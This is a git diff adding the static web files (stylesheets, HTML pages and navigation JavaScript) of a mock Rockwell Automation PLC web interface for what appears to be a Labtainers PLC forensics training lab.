+} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home.html new file mode 100644 index 000000000..bcb7aac60 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home.html @@ -0,0 +1,107 @@ + + +Rockwell Automation + + + + + +
+ + + + + + +
Home
+ + + + + + + +

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Device Name
Device Description
Device Location
Ethernet Address (MAC)00:00:DE:AD:BE:EF
IP Address10.1.100.2
Product Revision0.000 Build 0
Firmware Version DateMar 13 2013, 09:49:27
Serial Number00000000
StatusIdle
Uptime00h:27m:00s

+ + + + + + + + + + + + + + + + + + + + + + + + + +
Resources
 
 
Contacts

diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/menuendon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/menuendon.gif new file mode 100644 index 000000000..6fae98a1a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/menuendon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/menustarton.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/menustarton.gif new file mode 100644 index 000000000..d1315876e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/menustarton.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/home_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect.html new file mode 100644 index 000000000..6fa5ab6b5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect.html @@ -0,0 +1,17 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect.html new file mode 100644 index 000000000..b0cb6ea9e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect.html @@ -0,0 +1,70 @@ + + +Rockwell Automation + + + + + + + +
+ + + + + + + + + + + + +
Diagnostic OverviewNetwork SettingsMessage ConnectionsEthernet Statistics
+ + + + + + + +

+ + + + + +
+ + + + + + + + +
Conn #Connection IdOriginatorTargetBridgedState
+

+

Seconds Between + Refresh:   Disable Refresh with 0. +


diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/mensepoffoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/mensepoffoff.gif new file mode 100644 index 000000000..dee299b7b Binary files /dev/null and 